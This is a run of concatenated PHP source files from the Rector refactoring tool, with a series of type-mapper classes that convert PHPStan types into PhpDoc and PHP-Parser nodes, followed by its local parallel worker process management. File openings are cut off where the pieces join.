Strings::after($type->getClassName(), '\\', -1); return $traverse(new ObjectType($newClassName)); } return $traverse($type); }); return $type->toPhpDocNode(); } /** * @param ConditionalType $type * @param TypeKind::* $typeKind */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { $type = TypeCombinator::union($type->getIf(), $type->getElse()); return $this->phpStanStaticTypeMapper->mapToPhpParserNode($type, $typeKind); } } */ final class FloatTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return FloatType::class; } /** * @param FloatType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param FloatType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('float'); } } */ final class GenericClassStringTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return GenericClassStringType::class; } /** * @param GenericClassStringType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param GenericClassStringType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('string'); } } */ final class HasMethodTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\PHPStanStaticTypeMapper\TypeMapper\ObjectWithoutClassTypeMapper */ private $objectWithoutClassTypeMapper; public function __construct(\Rector\PHPStanStaticTypeMapper\TypeMapper\ObjectWithoutClassTypeMapper $objectWithoutClassTypeMapper) { $this->objectWithoutClassTypeMapper = $objectWithoutClassTypeMapper; } public function getNodeClass() : string { return HasMethodType::class; } /** * @param HasMethodType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param HasMethodType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return $this->objectWithoutClassTypeMapper->mapToPhpParserNode($type, $typeKind); } } */ final class HasOffsetTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return HasOffsetType::class; } /** * @param HasOffsetType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param HasOffsetType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return new Identifier('array'); } } */ final class HasOffsetValueTypeTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return HasOffsetValueType::class; } /** * @param HasOffsetValueType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param HasOffsetValueType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return new Identifier('array'); } } */ final class HasPropertyTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\PHPStanStaticTypeMapper\TypeMapper\ObjectWithoutClassTypeMapper */ private $objectWithoutClassTypeMapper; public function __construct(\Rector\PHPStanStaticTypeMapper\TypeMapper\ObjectWithoutClassTypeMapper $objectWithoutClassTypeMapper) { $this->objectWithoutClassTypeMapper = $objectWithoutClassTypeMapper; } public function getNodeClass() : string { return HasPropertyType::class; } /** * @param HasPropertyType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param HasPropertyType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return $this->objectWithoutClassTypeMapper->mapToPhpParserNode($type, $typeKind); } } */ final class IntegerTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return IntegerType::class; } /** * @param IntegerType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { // note: cannot be handled by PHPStan as uses explicit values return new IdentifierTypeNode('int'); } /** * @param IntegerType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('int'); } } */ final class IntersectionTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; /** * @readonly * @var \Rector\PHPStanStaticTypeMapper\TypeMapper\ObjectWithoutClassTypeMapper */ private $objectWithoutClassTypeMapper; /** * @readonly * @var \Rector\PHPStanStaticTypeMapper\TypeMapper\ObjectTypeMapper */ private $objectTypeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\Mapper\ScalarStringToTypeMapper */ private $scalarStringToTypeMapper; public function __construct(PhpVersionProvider $phpVersionProvider, \Rector\PHPStanStaticTypeMapper\TypeMapper\ObjectWithoutClassTypeMapper $objectWithoutClassTypeMapper, \Rector\PHPStanStaticTypeMapper\TypeMapper\ObjectTypeMapper $objectTypeMapper, ScalarStringToTypeMapper $scalarStringToTypeMapper) { $this->phpVersionProvider = $phpVersionProvider; $this->objectWithoutClassTypeMapper = $objectWithoutClassTypeMapper; $this->objectTypeMapper = $objectTypeMapper; $this->scalarStringToTypeMapper = $scalarStringToTypeMapper; } public function getNodeClass() : string { return IntersectionType::class; } /** * @param IntersectionType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { $typeNode = $type->toPhpDocNode(); $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->traverseWithCallable($typeNode, '', function (AstNode $astNode) { if ($astNode instanceof UnionTypeNode) { return PhpDocNodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($astNode instanceof ArrayShapeItemNode) { return PhpDocNodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$astNode instanceof IdentifierTypeNode) { return PhpDocNodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } $type = $this->scalarStringToTypeMapper->mapScalarStringToType($astNode->name); if ($type->isScalar()->yes()) { return PhpDocNodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($type->isArray()->yes()) { return PhpDocNodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($type instanceof MixedType && $type->isExplicitMixed()) { return PhpDocNodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } $astNode->name = '\\' . \ltrim($astNode->name, '\\'); return $astNode; }); return $typeNode; } /** * @param IntersectionType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::INTERSECTION_TYPES)) { return null; } $intersectionedTypeNodes = []; foreach ($type->getTypes() as $type) { if ($type instanceof ObjectWithoutClassType) { return $this->objectWithoutClassTypeMapper->mapToPhpParserNode($type, $typeKind); } if (!$type instanceof ObjectType) { return null; } $resolvedType = $this->objectTypeMapper->mapToPhpParserNode($type, $typeKind); if (!$resolvedType instanceof FullyQualified) { return null; } $intersectionedTypeNodes[] = $resolvedType; } if ($intersectionedTypeNodes === []) { return null; } if (\count($intersectionedTypeNodes) === 1) { return \current($intersectionedTypeNodes); } if ($typeKind === TypeKind::UNION && !$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::UNION_INTERSECTION_TYPES)) { return null; } return new Node\IntersectionType($intersectionedTypeNodes); } } */ final class IterableTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return IterableType::class; } /** * @param IterableType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param IterableType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return new Identifier('iterable'); } } */ final class MixedTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return MixedType::class; } /** * @param MixedType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param MixedType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::MIXED_TYPE)) { return null; } if (!$type->isExplicitMixed()) { return null; } if ($typeKind === TypeKind::UNION) { return null; } return new Identifier('mixed'); } } */ final class NeverTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return NeverType::class; } /** * @param NeverType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param NeverType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return null; } } */ final class NonEmptyArrayTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return NonEmptyArrayType::class; } /** * @param NonEmptyArrayType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param NonEmptyArrayType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return new Identifier('array'); } } */ final class NullTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return NullType::class; } /** * @param NullType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param TypeKind::* $typeKind * @param NullType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { // can be a standalone type, only case where null makes sense if ($this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::NULL_FALSE_TRUE_STANDALONE_TYPE) && $typeKind === TypeKind::RETURN) { return new Identifier('null'); } // if part of union, can be added even in PHP 8.0 if ($typeKind === TypeKind::UNION && $this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::NULLABLE_TYPE)) { return new Identifier('null'); } return null; } } */ final class ObjectTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return ObjectType::class; } /** * @param ObjectType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { $type = TypeTraverser::map($type, static function (Type $type, callable $traverse) : Type { if (!$type instanceof ObjectType) { return $traverse($type); } $typeClass = \get_class($type); // early native ObjectType check if ($typeClass === 'PHPStan\\Type\\ObjectType') { return new ObjectType('\\' . $type->getClassName()); } if ($type instanceof FullyQualifiedObjectType) { return new ObjectType('\\' . $type->getClassName()); } if ($type instanceof GenericObjectType) { return $traverse(new GenericObjectType('\\' . $type->getClassName(), $type->getTypes())); } return $traverse($type); }); return $type->toPhpDocNode(); } /** * @param ObjectType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if ($type instanceof SelfObjectType) { return new Name('self'); } if ($type instanceof ShortenedObjectType) { return new FullyQualified($type->getFullyQualifiedName()); } if ($type instanceof AliasedObjectType) { return new Name($type->getClassName()); } if ($type instanceof FullyQualifiedObjectType) { $className = $type->getClassName(); if (\strncmp($className, '\\', \strlen('\\')) === 0) { // skip leading \ return new FullyQualified(Strings::substring($className, 1)); } return new FullyQualified($className); } if ($type instanceof NonExistingObjectType) { return null; } return new FullyQualified($type->getClassName()); } } */ final class ObjectWithoutClassTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return ObjectWithoutClassType::class; } /** * @param ObjectWithoutClassType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param ObjectWithoutClassType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { // special case for anonymous classes that implement another type if ($type instanceof ObjectWithoutClassTypeWithParentTypes) { $parentTypes = $type->getParentTypes(); if (\count($parentTypes) === 1) { $parentType = $parentTypes[0]; return new FullyQualified($parentType->getClassName()); } } if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::OBJECT_TYPE)) { return null; } return new Identifier('object'); } } */ final class OversizedArrayTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return OversizedArrayType::class; } /** * @param OversizedArrayType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param TypeKind::* $typeKind * @param OversizedArrayType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return new Identifier('array'); } } */ final class ParentStaticTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return ParentStaticType::class; } /** * @param ParentStaticType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param ParentStaticType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return new Name(ObjectReference::PARENT); } } */ final class ResourceTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return ResourceType::class; } /** * @param ResourceType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param ResourceType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return null; } } */ final class SelfObjectTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return SelfObjectType::class; } /** * @param SelfObjectType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param SelfObjectType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return new Name('self'); } } */ final class StaticTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return StaticType::class; } /** * @param StaticType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param SimpleStaticType|StaticType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if ($type instanceof SelfStaticType) { return new Name(ObjectReference::SELF); } if ($typeKind !== TypeKind::RETURN) { return new Name(ObjectReference::SELF); } if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::STATIC_RETURN_TYPE)) { return new Name(ObjectReference::SELF); } return new Name(ObjectReference::STATIC); } } */ final class StrictMixedTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; /** * @var string */ private const MIXED = 'mixed'; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return StrictMixedType::class; } /** * @param StrictMixedType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param StrictMixedType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::MIXED_TYPE)) { return null; } if ($typeKind === TypeKind::UNION) { return null; } return new Identifier(self::MIXED); } } */ final class StringTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return StringType::class; } /** * @param StringType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('string'); } } */ final class ThisTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return ThisType::class; } /** * @param ThisType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param ThisType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return new Name('self'); } } */ final class TypeWithClassNameTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return TypeWithClassName::class; } /** * @param TypeWithClassName $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param TypeWithClassName $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('string'); } } */ final class UnionTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; /** * @var \Rector\PHPStanStaticTypeMapper\PHPStanStaticTypeMapper */ private $phpStanStaticTypeMapper; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function autowire(PHPStanStaticTypeMapper $phpStanStaticTypeMapper) : void { $this->phpStanStaticTypeMapper = $phpStanStaticTypeMapper; } public function getNodeClass() : string { return UnionType::class; } /** * @param UnionType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { $unionTypesNodes = []; foreach ($type->getTypes() as $unionedType) { $unionTypesNodes[] = $this->phpStanStaticTypeMapper->mapToPHPStanPhpDocTypeNode($unionedType); } return new BracketsAwareUnionTypeNode($unionTypesNodes); } /** * @param UnionType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { $phpParserUnionType = $this->matchPhpParserUnionType($type, $typeKind); if ($phpParserUnionType instanceof PhpParserUnionType) { return $this->resolveUnionTypeNode($phpParserUnionType); } return $phpParserUnionType; } /** * If type is nullable, and has only one other value, * this creates at least "?Type" in case of PHP 7.1-7.4 * @return PhpParserUnionType|\PhpParser\Node\NullableType|null */ private function resolveTypeWithNullablePHPParserUnionType(PhpParserUnionType $phpParserUnionType) { $totalTypes = \count($phpParserUnionType->types); if ($totalTypes === 2) { $phpParserUnionType->types = \array_values($phpParserUnionType->types); $firstType = $phpParserUnionType->types[0]; $secondType = $phpParserUnionType->types[1]; try { Assert::isAnyOf($firstType, [Name::class, Identifier::class]); Assert::isAnyOf($secondType, [Name::class, Identifier::class]); } catch (InvalidArgumentException $exception) { return $this->resolveUnionTypes($phpParserUnionType); } $firstTypeValue = $firstType->toString(); $secondTypeValue = $secondType->toString(); if ($firstTypeValue === $secondTypeValue) { return $this->resolveUnionTypes($phpParserUnionType); } if ($firstTypeValue === 'null') { return $this->resolveNullableType(new NullableType($secondType)); } if ($secondTypeValue === 'null') { return $this->resolveNullableType(new NullableType($firstType)); } } return $this->resolveUnionTypes($phpParserUnionType); } /** * @return null|\PhpParser\Node\NullableType|PhpParserUnionType */ private function resolveNullableType(NullableType $nullableType) { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::NULLABLE_TYPE)) { return null; } /** @var PHPParserNodeIntersectionType|Identifier|Name $type */ $type = $nullableType->type; if (!$type instanceof PHPParserNodeIntersectionType) { // ?false is allowed only since PHP 8.2+, lets fallback to bool instead if ($type->toString() === 'false' && !$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::NULL_FALSE_TRUE_STANDALONE_TYPE)) { return new NullableType(new Identifier('bool')); } return $nullableType; } if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::UNION_TYPES)) { return null; } $types = [$type]; $types[] = new Identifier('null'); return new PhpParserUnionType($types); } private function resolveUnionTypes(PhpParserUnionType $phpParserUnionType) : ?PhpParserUnionType { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::UNION_TYPES)) { return null; } return $phpParserUnionType; } private function hasObjectAndStaticType(PhpParserUnionType $phpParserUnionType) : bool { $hasAnonymousObjectType = \false; $hasObjectType = \false; foreach ($phpParserUnionType->types as $type) { if ($type instanceof Identifier && $type->toString() === 'object') { $hasAnonymousObjectType = \true; continue; } if ($type instanceof FullyQualified || $type instanceof Name && $type->isSpecialClassName()) { $hasObjectType = \true; continue; } } return $hasObjectType && $hasAnonymousObjectType; } /** * @return Name|FullyQualified|ComplexType|Identifier|null */ private function matchPhpParserUnionType(UnionType $unionType, string $typeKind) : ?Node { $phpParserUnionedTypes = []; foreach ($unionType->getTypes() as $unionedType) { // NullType or ConstantBooleanType with false value inside UnionType is allowed // void type and mixed type are not allowed in union $phpParserNode = $this->phpStanStaticTypeMapper->mapToPhpParserNode($unionedType, TypeKind::UNION); if ($phpParserNode === null) { return null; } // special callable type only not allowed on property if ($typeKind === TypeKind::PROPERTY && $unionedType instanceof CallableType) { return null; } $phpParserUnionedTypes[] = $phpParserNode; } /** @var Identifier[]|Name[] $phpParserUnionedTypes */ $phpParserUnionedTypes = \array_unique($phpParserUnionedTypes, \SORT_REGULAR); $countPhpParserUnionedTypes = \count($phpParserUnionedTypes); if ($countPhpParserUnionedTypes === 1) { return $phpParserUnionedTypes[0]; } return $this->resolveTypeWithNullablePHPParserUnionType(new PhpParserUnionType($phpParserUnionedTypes)); } private function resolveUnionTypeNode(PhpParserUnionType $phpParserUnionType) : ?PhpParserUnionType { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::UNION_TYPES)) { return null; } // special case that would crash, when stdClass and object is used, if ($this->hasObjectAndStaticType($phpParserUnionType)) { return null; } return $phpParserUnionType; } } */ final class VoidTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; /** * @var string */ private const VOID = 'void'; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return VoidType::class; } /** * @param VoidType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param TypeKind::* $typeKind * @param VoidType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::VOID_TYPE)) { return null; } if (\in_array($typeKind, [TypeKind::PARAM, TypeKind::PROPERTY, TypeKind::UNION], \true)) { return null; } return new Identifier(self::VOID); } } getTypes() as $unionedType) { if (!$unionedType instanceof TypeWithClassName) { continue; } return $unionedType; } return $type; } public function unwrapFirstCallableTypeFromUnionType(Type $type) : ?Type { if (!$type instanceof UnionType) { return $type; } foreach ($type->getTypes() as $unionedType) { if (!$unionedType instanceof CallableType) { continue; } return $unionedType; } return $type; } public function isIterableTypeValue(string $className, Type $type) : bool { if (!$type instanceof TypeWithClassName) { return \false; } // get the namespace from $className $classNamespace = $this->namespace($className); // get the namespace from $parameterReflection $reflectionNamespace = $this->namespace($type->getClassName()); // then match with return $reflectionNamespace === $classNamespace && \substr_compare($type->getClassName(), '\\TValue', -\strlen('\\TValue')) === 0; } public function isIterableTypeKey(string $className, Type $type) : bool { if (!$type instanceof TypeWithClassName) { return \false; } // get the namespace from $className $classNamespace = $this->namespace($className); // get the namespace from $parameterReflection $reflectionNamespace = $this->namespace($type->getClassName()); // then match with return $reflectionNamespace === $classNamespace && \substr_compare($type->getClassName(), '\\TKey', -\strlen('\\TKey')) === 0; } public function removeNullTypeFromUnionType(UnionType $unionType) : Type { return TypeCombinator::removeNull($unionType); } private function namespace(string $class) : string { return \implode('\\', \array_slice(\explode('\\', $class), 0, -1)); } } workerCommandLineFactory = $workerCommandLineFactory; } /** * @param callable(int $stepCount): void $postFileCallback Used for progress bar jump */ public function process(Schedule $schedule, string $mainScript, callable $postFileCallback, InputInterface $input) : ProcessResult { $jobs = \array_reverse($schedule->getJobs()); $streamSelectLoop = new StreamSelectLoop(); // basic properties setup $numberOfProcesses = $schedule->getNumberOfProcesses(); // initial counters /** @var FileDiff[] $fileDiffs */ $fileDiffs = []; /** @var SystemError[] $systemErrors */ $systemErrors = []; $tcpServer = new TcpServer('127.0.0.1:0', $streamSelectLoop); $this->processPool = new ProcessPool($tcpServer); $tcpServer->on(ReactEvent::CONNECTION, function (ConnectionInterface $connection) use(&$jobs) : void { $inDecoder = new Decoder($connection, \true, 512, 0, 4 * 1024 * 1024); $outEncoder = new Encoder($connection); $inDecoder->on(ReactEvent::DATA, function (array $data) use(&$jobs, $inDecoder, $outEncoder) : void { $action = $data[ReactCommand::ACTION]; if ($action !== Action::HELLO) { return; } $processIdentifier = $data[Option::PARALLEL_IDENTIFIER]; $parallelProcess = $this->processPool->getProcess($processIdentifier); $parallelProcess->bindConnection($inDecoder, $outEncoder); if ($jobs === []) { $this->processPool->quitProcess($processIdentifier); return; } $jobsChunk = \array_pop($jobs); $parallelProcess->request([ReactCommand::ACTION => Action::MAIN, Content::FILES => $jobsChunk]); }); }); /** @var string $serverAddress */ $serverAddress = $tcpServer->getAddress(); /** @var int $serverPort */ $serverPort = \parse_url($serverAddress, \PHP_URL_PORT); $systemErrorsCount = 0; $reachedSystemErrorsCountLimit = \false; $handleErrorCallable = function (Throwable $throwable) use(&$systemErrors, &$systemErrorsCount, &$reachedSystemErrorsCountLimit) : void { $systemErrors[] = new SystemError($throwable->getMessage(), $throwable->getFile(), $throwable->getLine()); ++$systemErrorsCount; $reachedSystemErrorsCountLimit = \true; $this->processPool->quitAll(); // This sleep has to be here, because event though we have called $this->processPool->quitAll(), // it takes some time for the child processes to actually die, during which they can still write to cache // @see https://github.com/rectorphp/rector-src/pull/3834/files#r1231696531 \sleep(1); }; $timeoutInSeconds = SimpleParameterProvider::provideIntParameter(Option::PARALLEL_JOB_TIMEOUT_IN_SECONDS); $fileChunksBudgetPerProcess = []; $processSpawner = function () use(&$systemErrors, &$fileDiffs, &$jobs, $postFileCallback, &$systemErrorsCount, &$reachedInternalErrorsCountLimit, $mainScript, $input, $serverPort, $streamSelectLoop, $timeoutInSeconds, $handleErrorCallable, &$fileChunksBudgetPerProcess, &$processSpawner) : void { $processIdentifier = Random::generate(); $workerCommandLine = $this->workerCommandLineFactory->create($mainScript, ProcessCommand::class, 'worker', $input, $processIdentifier, $serverPort); $fileChunksBudgetPerProcess[$processIdentifier] = self::MAX_CHUNKS_PER_WORKER; $parallelProcess = new ParallelProcess($workerCommandLine, $streamSelectLoop, $timeoutInSeconds); $parallelProcess->start( // 1. callable on data function (array $json) use($parallelProcess, &$systemErrors, &$fileDiffs, &$jobs, $postFileCallback, &$systemErrorsCount, &$reachedInternalErrorsCountLimit, $processIdentifier, &$fileChunksBudgetPerProcess, &$processSpawner) : void { // decode arrays to objects foreach ($json[Bridge::SYSTEM_ERRORS] as $jsonError) { if (\is_string($jsonError)) { $systemErrors[] = new SystemError('System error: ' . $jsonError); continue; } $systemErrors[] = SystemError::decode($jsonError); } foreach ($json[Bridge::FILE_DIFFS] as $jsonFileDiff) { $fileDiffs[] = FileDiff::decode($jsonFileDiff); } $postFileCallback($json[Bridge::FILES_COUNT]); $systemErrorsCount += $json[Bridge::SYSTEM_ERRORS_COUNT]; if ($systemErrorsCount >= self::SYSTEM_ERROR_LIMIT) { $reachedInternalErrorsCountLimit = \true; $this->processPool->quitAll(); } if ($fileChunksBudgetPerProcess[$processIdentifier] <= 0) { // kill the current worker, and spawn a fresh one to free memory $this->processPool->quitProcess($processIdentifier); $processSpawner(); return; } if ($jobs === []) { $this->processPool->quitProcess($processIdentifier); return; } $jobsChunk = \array_pop($jobs); $parallelProcess->request([ReactCommand::ACTION => Action::MAIN, Content::FILES => $jobsChunk]); --$fileChunksBudgetPerProcess[$processIdentifier]; }, // 2. callable on error $handleErrorCallable, // 3. callable on exit function ($exitCode, string $stdErr) use(&$systemErrors, $processIdentifier) : void { $this->processPool->tryQuitProcess($processIdentifier); if ($exitCode === Command::SUCCESS) { return; } if ($exitCode === null) { return; } $systemErrors[] = new SystemError('Child process error: ' . $stdErr); } ); $this->processPool->attachProcess($processIdentifier, $parallelProcess); }; for ($i = 0; $i < $numberOfProcesses; ++$i) { // nothing else to process, stop now if ($jobs === []) { break; } $processSpawner(); } $streamSelectLoop->run(); if ($reachedSystemErrorsCountLimit) { $systemErrors[] = new SystemError(\sprintf('Reached system errors count limit of %d, exiting...', self::SYSTEM_ERROR_LIMIT)); } return new ProcessResult($systemErrors, $fileDiffs); } } commandFromReflectionFactory = $commandFromReflectionFactory; $this->filePathHelper = $filePathHelper; } /** * @param class-string $mainCommandClass */ public function create(string $mainScript, string $mainCommandClass, string $workerCommandName, InputInterface $input, string $identifier, int $port) : string { $commandArguments = \array_slice($_SERVER['argv'], 1); $args = \array_merge([\PHP_BINARY, $mainScript], $commandArguments); $workerCommandArray = []; $mainCommand = $this->commandFromReflectionFactory->create($mainCommandClass); if ($mainCommand->getName() === null) { $errorMessage = \sprintf('The command name for "%s" is missing', \get_class($mainCommand)); throw new ParallelShouldNotHappenException($errorMessage); } $mainCommandName = $mainCommand->getName(); $mainCommandNames = [$mainCommandName, $mainCommandName[0]]; foreach ($args as $arg) { // skip command name if (\in_array($arg, $mainCommandNames, \true)) { break; } $workerCommandArray[] = \escapeshellarg((string) $arg); } $workerCommandArray[] = $workerCommandName; $mainCommandOptionNames = $this->getCommandOptionNames($mainCommand); $workerCommandOptions = $this->mirrorCommandOptions($input, $mainCommandOptionNames); $workerCommandArray = \array_merge($workerCommandArray, $workerCommandOptions); // for TCP local server $workerCommandArray[] = '--port'; $workerCommandArray[] = $port; $workerCommandArray[] = 